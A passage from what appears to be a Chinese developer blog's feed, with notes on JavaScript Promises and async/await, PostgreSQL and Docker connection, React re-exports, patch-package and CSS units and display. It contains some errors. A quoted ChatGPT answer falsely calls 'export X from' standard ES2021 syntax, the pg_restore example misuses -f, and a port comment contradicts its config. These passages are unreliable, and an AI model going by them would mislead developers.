<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myPromiseRace</span><span class="p">(</span><span class="nx">promises</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">,</span><span class="nx">reject</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">promise</span> <span class="k">of</span> <span class="nx">promises</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="nx">promise</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="nx">reject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li><code>Promise.withResolvers()</code>
<ul>
<li>returns an object containing a new Promise object and two functions to resolve or reject it</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers"  target="_blank" rel="noopener" >Promise.withResolvers() - JavaScript | MDN</a></li>
</ul>
</li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>参考<a href="https://juejin.cn/post/6844903693658259464"  target="_blank" rel="noopener" >Promise作用以及基本使用 - 掘金</a></li>
<li>将异步操作以同步操作的流程表达出来，避免层层嵌套的回调函数。表达更清晰高效，也更便于维护。</li>
</ul>
<h3 id="缺点-2">缺点</h3>
<ol>
<li>一旦新建它就会立即执行，无法中途取消</li>
<li>如果不设置回调函数，Promise内部抛出的错误，不会反应到外部</li>
<li>当处于Pending状态时，无法得知目前进展到哪一个阶段</li>
</ol>
<h3 id="问题一与settimeout的区别">问题一：与<code>setTimeout</code>的区别</h3>
<ul>
<li>setTimeout处于宏任务队列，Promise位于微任务队列</li>
<li>示例</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 用一个已解决的 Promise——“resolvedProm”为例，
</span></span></span><span class="line"><span class="cl"><span class="c1">// 函数调用“resolvedProm.then(...)”立即返回一个新的 Promise，
</span></span></span><span class="line"><span class="cl"><span class="c1">// 但是其中的处理器“(value) =&gt; {...}”将被异步调用，正如打印输出所示。
</span></span></span><span class="line"><span class="cl"><span class="c1">// 新的 Promise 被赋值给“thenProm”，
</span></span></span><span class="line"><span class="cl"><span class="c1">// 并且 thenProm 将被解决为处理函数返回的值。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">resolvedProm</span> <span class="o">=</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="mi">33</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">resolvedProm</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">thenProm</span> <span class="o">=</span> <span class="nx">resolvedProm</span><span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sb">`在主堆栈结束后被调用。收到的值是：</span><span class="si">${</span><span class="nx">value</span><span class="si">}</span><span class="sb">，返回的值是：</span><span class="si">${</span><span class="nx">value</span> <span class="o">+</span> <span class="mi">1</span><span class="si">}</span><span class="sb">`</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">value</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thenProm</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用 setTimeout，我们可以将函数的执行推迟到调用栈为空的时刻。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thenProm</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 按顺序打印：
</span></span></span><span class="line"><span class="cl"><span class="c1">// Promise {[[PromiseStatus]]: &#34;resolved&#34;, [[PromiseResult]]: 33}
</span></span></span><span class="line"><span class="cl"><span class="c1">// Promise {[[PromiseStatus]]: &#34;pending&#34;, [[PromiseResult]]: undefined}
</span></span></span><span class="line"><span class="cl"><span class="c1">// &#34;在主堆栈结束后被调用。收到的值是：33，返回的值是：34&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1">// Promise {[[PromiseStatus]]: &#34;resolved&#34;, [[PromiseResult]]: 34}
</span></span></span></code></pre></div><ul>
<li>参考:
<ul>
<li><a href="https://juejin.cn/post/7016298598883131423"  target="_blank" rel="noopener" >setTimeout+Promise+Async输出顺序？很简单呀！掘金</a></li>
</ul>
</li>
</ul>
<h3 id="问题二-promise的原理">问题二: Promise的原理</h3>
<ul>
<li>观察者模式
wip</li>
</ul>
<h3 id="问题二-promisea-规范">问题二: Promise/A+ 规范</h3>
<p>wip</p>
<ul>
<li><a href="https://tsejx.github.io/javascript-guidebook/standard-built-in-objects/control-abstraction-objects/promise-standard/"  target="_blank" rel="noopener" >Promise/A+ 规范 - JavaScript Guidebook</a></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise"  target="_blank" rel="noopener" >Promise - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/any"  target="_blank" rel="noopener" >Promise.any() - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/all"  target="_blank" rel="noopener" >Promise.all() - JavaScript | MDN</a></li>
<li><a href="https://juejin.cn/post/6844903655473152008"  target="_blank" rel="noopener" >浅析setTimeout与Promise - 掘金</a></li>
</ul>
<hr>
<h2 id="asyncawait">async/await</h2>
<h3 id="作用-1">作用</h3>
<ul>
<li>函数前面的关键字<code>async</code>有两个作用：
<ol>
<li>让这个函数总是返回一个 promise
<ul>
<li>返回普通值时将自动被包装在一个 resolved 的 promise 中。</li>
<li>也可以显式地返回一个 promise</li>
</ul>
</li>
<li>允许在该函数内使用 await。</li>
</ol>
</li>
<li>Promise 前的关键字 <code>await</code>
<ul>
<li>当 JavaScript 执行到 await 时，它会等待 Promise 的结果，</li>
<li>但这个等待过程<strong>不会阻塞</strong>主线程。JavaScript 引擎会将这个等待中的任务挂起，并允许继续处理其他同步代码或事件，直到 Promise 完成（或者超时、拒绝）。</li>
<li>这个行为不会耗费任何 CPU 资源，因为 JavaScript 引擎可以同时处理其他任务：执行其他脚本，处理事件等。</li>
</ul>
</li>
</ul>
<h3 id="实现">实现</h3>
<p>wip</p>
<h3 id="如何处理错误">如何处理错误</h3>
<p>wip</p>
<h3 id="示例-1">示例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">f</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">let</span> <span class="nx">results</span> <span class="o">=</span> <span class="kr">await</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">all</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">      <span class="nx">fetch</span><span class="p">(</span><span class="nx">url1</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">      <span class="nx">fetch</span><span class="p">(</span><span class="nx">url2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">alert</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">f</span><span class="p">();</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="nx">item</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">await</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">arr</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">item</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE1&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="kr">await</span> <span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE2&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">})()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE3&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="kr">await</span> <span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE4&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">})()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in setTimeout&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span><span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE1
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE3
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE2 2,1,3
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE4 2,1,3
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in setTimeout 2,1,3
</span></span></span></code></pre></div><h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/async-await"  target="_blank" rel="noopener" >async/await</a></li>
</ul>
<hr>
<h2 id="异步请求的竞态问题">异步请求的竞态问题</h2>
<h3 id="场景一">场景一</h3>
<ul>
<li>描述：需多次请求某一api，响应时间不固定。需要渲染的是最后一个请求返回的结果;常见于搜索，分页，选项卡等切换的场景</li>
<li>方法一：<strong>忽略</strong>: 计数，然后判断</li>
<li>方法二：<strong>取消</strong>: 在连续的请求过程中，每当我发出一个请求，我就将之前正在 pending 的请求的 Promise reject 掉，并且该请求的 XHR 对象执行 abort()；之前的请求 如果已经有响应的不用管它，我们当前的请求的结果会覆盖它的</li>
</ul>
<h3 id="参考-2">参考:</h3>
<ul>
<li><a href="https://github.com/YuArtian/blog/blob/master/Blog/%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%BC%82%E6%AD%A5%E8%AF%B7%E6%B1%82%E7%9A%84%E7%AB%9E%E6%80%81%E9%97%AE%E9%A2%98.md"  target="_blank" rel="noopener" >blog/Blog/如何解决异步请求的竞态问题.md at master · YuArtian/blog</a></li>
<li><a href="https://cloud.tencent.com/developer/article/2193937"  target="_blank" rel="noopener" >如何解决前端常见的竞态问题-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2012/12/asynchronous%EF%BC%BFjavascript.html"  target="_blank" rel="noopener" >Javascript异步编程的4种方法 - 阮一峰的网络日志</a></li>
</ul>
<hr>
<h2 id="执行顺序">执行顺序</h2>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7016298598883131423"  target="_blank" rel="noopener" >setTimeout+Promise+Async输出顺序？很简单呀！- 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>PostgreSQL学习笔记</title>
      <link>https://ds63.eu.org/2024/learn_postgre/</link>
      <pubDate>Sat, 04 May 2024 13:13:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_postgre/</guid>
      <description>浅尝辄止</description>
      <content:encoded><![CDATA[<h2 id="命令">命令</h2>
<h3 id="连接到postgresql数据库">连接到PostgreSQL数据库</h3>
<ul>
<li>
<p>一般环境：<code>psql -U &lt;your_username&gt; -d &lt;your_database_name&gt; -h {your_hostname}</code></p>
<ul>
<li>注：<code>-h</code> 用于指定数据库服务器的主机地址,缺省为localhost</li>
</ul>
</li>
<li>
<p>docker: <code>docker exec -it &lt;container_name_or_id&gt; psql -U &lt;username&gt; -d &lt;database_name&gt;</code></p>
</li>
</ul>
<h3 id="查看数据库表">查看数据库表</h3>
<ul>
<li>显示所有表: <code>\dt</code></li>
<li>显示指定表的详细信息： <code>\d+ &lt;table_name&gt;</code></li>
</ul>
<h3 id="导出">导出</h3>
<ul>
<li><code>pg_dump -U &lt;username&gt; -d &lt;database_name&gt; -h &lt;host&gt; -p &lt;port&gt; -f &lt;output_file&gt;</code>
<ul>
<li>以上命令导出的备份文件可以使用 pg_restore 工具还原到 PostgreSQL 数据库中：<code>pg_restore -U &lt;username&gt; -d &lt;database_name&gt; -h &lt;host&gt; -p &lt;port&gt; -f &lt;backup_file&gt;</code></li>
</ul>
</li>
<li>
<blockquote>
<p>-s, &ndash;schema-only            dump only the schema, no data</p>
</blockquote>
</li>
<li>
<blockquote>
<p>-t, &ndash;table=PATTERN          dump the specified table(s) only</p>
</blockquote>
</li>
</ul>
<h3 id="杂">杂</h3>
<ul>
<li>退出: <code>\q</code></li>
<li>帮助: <code>help</code></li>
</ul>
<h2 id="pycharm连接docker中的数据库">Pycharm连接Docker中的数据库</h2>
<h3 id="法一">法一：</h3>
<ol>
<li>
<p><strong>获取数据库容器的IP地址：</strong></p>
<p><code>docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' &lt;your_postgres_container_name&gt;</code></p>
</li>
<li>
<p><strong>在PyCharm中设置数据库连接：</strong> 打开PyCharm，进入 &ldquo;View&rdquo; -&gt; &ldquo;Tool Windows&rdquo; -&gt; &ldquo;Database&rdquo; 来打开数据库工具窗口。</p>
</li>
<li>
<p>在数据库工具窗口中，点击左上角的加号 (+)，选择 &ldquo;Data Source&rdquo; -&gt; &ldquo;PostgreSQL&rdquo;。</p>
</li>
<li>
<p>在 &ldquo;Data Source Properties&rdquo; 对话框中，填写以下信息：</p>
<ul>
<li>Host: 使用第2步中获得的Docker容器的IP地址。</li>
<li>Port: 默认情况下，PostgreSQL使用端口5432。</li>
<li>Database: 你的数据库名称。</li>
<li>User: 你的数据库用户名。</li>
<li>Password: 你的数据库密码。</li>
</ul>
</li>
</ol>
<p>注：我使用以上方法，未成功，在参考<a href="https://www.volcengine.com/theme/5098669-P-7-1"  target="_blank" rel="noopener" >PyCharm：无法连接到Docker容器中的postgres-db</a>后，使用法二成功连接</p>
<h3 id="法二">法二</h3>
<ol>
<li>修改配置，将容器内的端口映射到主机端口，例：</li>
</ol>
<pre tabindex="0"><code># 连接到主机的 16432 端口时，流量将被映射到容器内部的 5432 端口
    ports:
      - &#34;15432:5432&#34;
</code></pre><ol start="2">
<li>同法一</li>
<li>同法一</li>
<li>同法一，此处的Host为<code>localhost</code>,端口为15432</li>
</ol>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://www.volcengine.com/theme/5098669-P-7-1"  target="_blank" rel="noopener" >PyCharm：无法连接到Docker容器中的postgres-db</a></li>
<li><a href="https://github.com/neodb-social/neodb/blob/main/doc/install-docker.md"  target="_blank" rel="noopener" >neodb/doc/install-docker.md</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React中的导入导出</title>
      <link>https://ds63.eu.org/2024/import-and-export-in-react/</link>
      <pubDate>Sun, 28 Apr 2024 00:20:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/import-and-export-in-react/</guid>
      <description>The requested module does not provide an export named</description>
      <content:encoded><![CDATA[<p><strong>之前对React中的import和export处在一知半解的情况，计划通过此篇来彻底弄清楚。</strong></p>
<h2 id="案例">案例</h2>
<p>在<code>src/components/Section</code>这个文件夹中有两个文件</p>
<pre tabindex="0"><code>ContextSection.jsx  
FileSection.jsx  
</code></pre><p>其中每个文件都类似于</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="kd">function</span> <span class="nx">ContextSection</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>我希望写一个<code>index.js</code>来统一export，一开始我的写法是</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">export</span> <span class="o">*</span> <span class="nx">from</span> <span class="s1">&#39;./ContextSection&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="o">*</span> <span class="nx">from</span> <span class="s1">&#39;./FileSection&#39;</span><span class="p">;</span>
</span></span></code></pre></div><p>我在<code>'/src/components/Session/index.js'</code>是这样import的</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">ContextSession</span><span class="p">,</span> <span class="nx">FileSession</span> <span class="p">}</span> <span class="nx">from</span> <span class="s2">&#34;/src/components/Session&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>报错是：
Uncaught SyntaxError: The requested module &lsquo;/src/components/Session/index.js&rsquo; does not provide an export named &lsquo;ContextSession&rsquo;</p>
<p>我直接去谷歌报错信息,但查找到的内容都有点牛头不对马嘴。最后是靠好好地看了遍<a href="https://react.dev/learn/importing-and-exporting-components"  target="_blank" rel="noopener" >Importing and Exporting Components – React</a>才猛然意识到自己哪里错了。</p>
<table>
<thead>
<tr>
<th>Syntax</th>
<th>Export statement</th>
<th>Import statement</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default</td>
<td><code>export default function Button() {}</code></td>
<td><code>import Button from './Button.js';</code></td>
</tr>
<tr>
<td>Named</td>
<td><code>export function Button() {}</code></td>
<td><code>import { Button } from './Button.js';</code></td>
</tr>
</tbody>
</table>
<p>最后我的解决方法是，修改<code>index.js</code>为</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">export</span> <span class="p">{</span> <span class="k">default</span> <span class="nx">as</span> <span class="nx">ContextSection</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;./ContextSection&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="p">{</span> <span class="k">default</span> <span class="nx">as</span> <span class="nx">FileSection</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;./FileSection&#39;</span><span class="p">;</span>
</span></span></code></pre></div><h2 id="进一步">进一步</h2>
<p><code>export { default as FileSection } from './FileSection';</code> 和<code>export FileSection  from './FileSection';</code>的区别在哪呢？以下是ChatGPT的回答：</p>
<p>这两种写法在导出默认导出时有所不同：</p>
<ol>
<li>
<p><code>export { default as FileSection } from './FileSection';</code></p>
<p>这种写法使用了命名导出（named export）的语法，并且指定了导出的名称为 <code>FileSection</code>。它将 <code>./FileSection</code> 中的默认导出（使用 <code>export default</code> 导出的内容）导出为 <code>FileSection</code>。在其他文件中引用时，需要使用相同的名称来导入，例如 <code>import { FileSection } from './FileSection';</code>。</p>
</li>
<li>
<p><code>export FileSection from './FileSection';</code></p>
<p>这种写法是 ES2021 的新语法，称为<strong>export from</strong>语法，它直接导出了 <code>./FileSection</code> 中的默认导出，而无需指定名称。在其他文件中引用时，可以使用任何名称来导入，例如 <code>import MyFileSection from './FileSection';</code>。在这种情况下，导入的名称不需要与导出的名称相同。</p>
</li>
</ol>
<p>综上所述，第一种写法强制使用指定的导出名称，而第二种写法更加灵活，允许导入时使用任意名称。</p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://react.dev/learn/importing-and-exporting-components"  target="_blank" rel="noopener" >Importing and Exporting Components – React</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>patch-package使用</title>
      <link>https://ds63.eu.org/2024/the-use-of-patch-package/</link>
      <pubDate>Mon, 08 Apr 2024 13:12:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/the-use-of-patch-package/</guid>
      <description>patch everything</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>需要对第三方npm依赖包进行定制化修改</p>
<h2 id="准备">准备</h2>
<ul>
<li>安装: <code>npm i patch-package</code></li>
<li>修改package.json
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="c1">// this will auto excute npx patch-package after npm install
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="s2">&#34;scripts&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;postinstall&#34;</span><span class="p">:</span> <span class="s2">&#34;npx patch-package&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h2 id="使用">使用</h2>
<ol>
<li>make changes to the files of a particular package in your node_modules folder</li>
<li><code>npx patch-package ${package-name}</code>，例如：<code>npx patch-package @aws-sdk/lib-storage</code></li>
<li>if you want to apply patches, run <code>npx patch-package</code></li>
</ol>
<h2 id="benefits-of-patching-over-forking">Benefits of patching over forking</h2>
<ul>
<li>Sometimes forks need extra build steps, e.g. with react-native for Android. Forget that noise.</li>
<li>Get told in big red letters when the dependency changed and you need to check that your fix is still valid.</li>
<li>Keep your patches colocated with the code that depends on them.</li>
<li>Patches can be reviewed as part of your normal review process, forks probably can&rsquo;t</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://www.npmjs.com/package/patch-package"  target="_blank" rel="noopener" >patch-package - npm</a></li>
<li><a href="https://juejin.cn/post/6949906434997878791"  target="_blank" rel="noopener" >修改 node_modules 里文件的正确姿势 - 掘金</a></li>
<li><a href="https://juejin.cn/post/7094556624387309582?from=search-suggest"  target="_blank" rel="noopener" >如何优雅的修改node_modules依赖源码 - 掘金</a></li>
<li><a href="https://dev.to/zhnedyalkow/the-easiest-way-to-patch-your-npm-package-4ece"  target="_blank" rel="noopener" >The easiest way to patch your npm package when there is a 🐛 - DEV Community</a></li>
<li><a href="https://juejin.cn/post/7356534347509497919"  target="_blank" rel="noopener" >奇技淫巧：如何修改第三方npm包？大家好，我是老纪。在开发过程中发现npm包的Bug，首先向原作者提交issue或For - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSS知识点整理</title>
      <link>https://ds63.eu.org/2024/css_points/</link>
      <pubDate>Sat, 06 Apr 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/css_points/</guid>
      <description>自己学习过程中整理的关于CSS的知识点</description>
      <content:encoded><![CDATA[<h2 id="如何理解css">如何理解css</h2>
<blockquote>
<p>I like to think of CSS as a collection of layout modes. Each layout mode is an algorithm that can implement or redefine each CSS property. We provide an algorithm with our CSS declarations (key/value pairs), and the algorithm decides how to use them.</p>
<p>In other words, the CSS we write is an input for these algorithms, like arguments passed to a function. If we want to truly feel comfortable with CSS, it&rsquo;s not enough to learn the properties; we have to learn how the algorithms use these properties.</p>
</blockquote>
<p>参考<a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></p>
<hr>
<h2 id="常见的css布局单位">常见的css布局单位</h2>
<ul>
<li>px: 绝对单位</li>
<li>em: 相对单位
<ul>
<li>font-size：相对于父元素字体</li>
<li>width: 相对于当前元素字体</li>
</ul>
</li>
<li>rem(root em): 相对单位
<ul>
<li>相对于根元素，也就是<code>html</code></li>
</ul>
</li>
<li><code>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot;&gt;</code></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hant/swe/css-px-em-rem-differences"  target="_blank" rel="noopener" >CSS 中有哪些單位? 該如何使用?｜ExplainThis</a></li>
<li><a href="https://www.cnblogs.com/kidney/p/6692312.html"  target="_blank" rel="noopener" >1px 究竟是多大 - {Bison} - 博客园</a></li>
</ul>
<hr>
<h2 id="viewport">viewport</h2>
<p>wip</p>
<ul>
<li><a href="https://www.kyleblog.cn/posts/viewport"  target="_blank" rel="noopener" >viewport配置里的width=device-width和initial-scale=1.0到底是干嘛的 - KyleBlog.cn</a></li>
</ul>
<hr>
<h2 id="orientation">orientation</h2>
<ul>
<li>
<p>portrait: The viewport is in a portrait orientation, i.e., the height is greater than or equal to the width.</p>
</li>
<li>
<p>landscape: The viewport is in a landscape orientation, i.e., the width is greater than the height.</p>
</li>
<li>
<p>参考: <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/orientation"  target="_blank" rel="noopener" >orientation - CSS: Cascading Style Sheets | MDN</a></p>
</li>
</ul>
<hr>
<h2 id="visibility">Visibility</h2>
<ul>
<li>visible</li>
<li>hidden</li>
<li>collapse: 只对 table 对象起作用，能移除行或列但不会影响表格的布局。如果这个值用在 table 以外的对象上则表现为 hidden</li>
<li>inherit</li>
</ul>
<hr>
<h2 id="display">Display</h2>
<h3 id="分类">分类</h3>
<ul>
<li>none: 元素不可见，并且不为其保留相应的位置</li>
<li>block: 表现为一个块级元素（一般情况下独占一行） <code>&lt;div&gt;、 &lt;h1&gt;、&lt;p&gt;</code></li>
<li>inline: 表现为一个行级元素（一般情况下不独占一行）<code>&lt;a&gt;、&lt;img&gt;、&lt;span&gt;</code></li>
<li>inline-block: 结合了行內元素和塊級元素的特點，會像 inline 元素一樣的同行排列，但同時擁有 block 元素可以設定寬高的特性。</li>
</ul>
<h3 id="visibilityhidden-vs-displaynone-vs-opacity0">visibility:hidden vs display:none vs opacity:0</h3>
<ul>
<li><code>visibility: hidden;</code>: 隐藏元素，但是它仍然占用布局中的空间。如果隐藏框的子元素的可见性设置为“可见”，则它们将是可见的。</li>
<li><code>display: none;</code>: 关闭显示并从文档中完全删除该元素。即使它的HTML仍在源代码中，它也不占用任何空间。即使所有子元素的显示属性均设置为none，也将关闭其显示。</li>
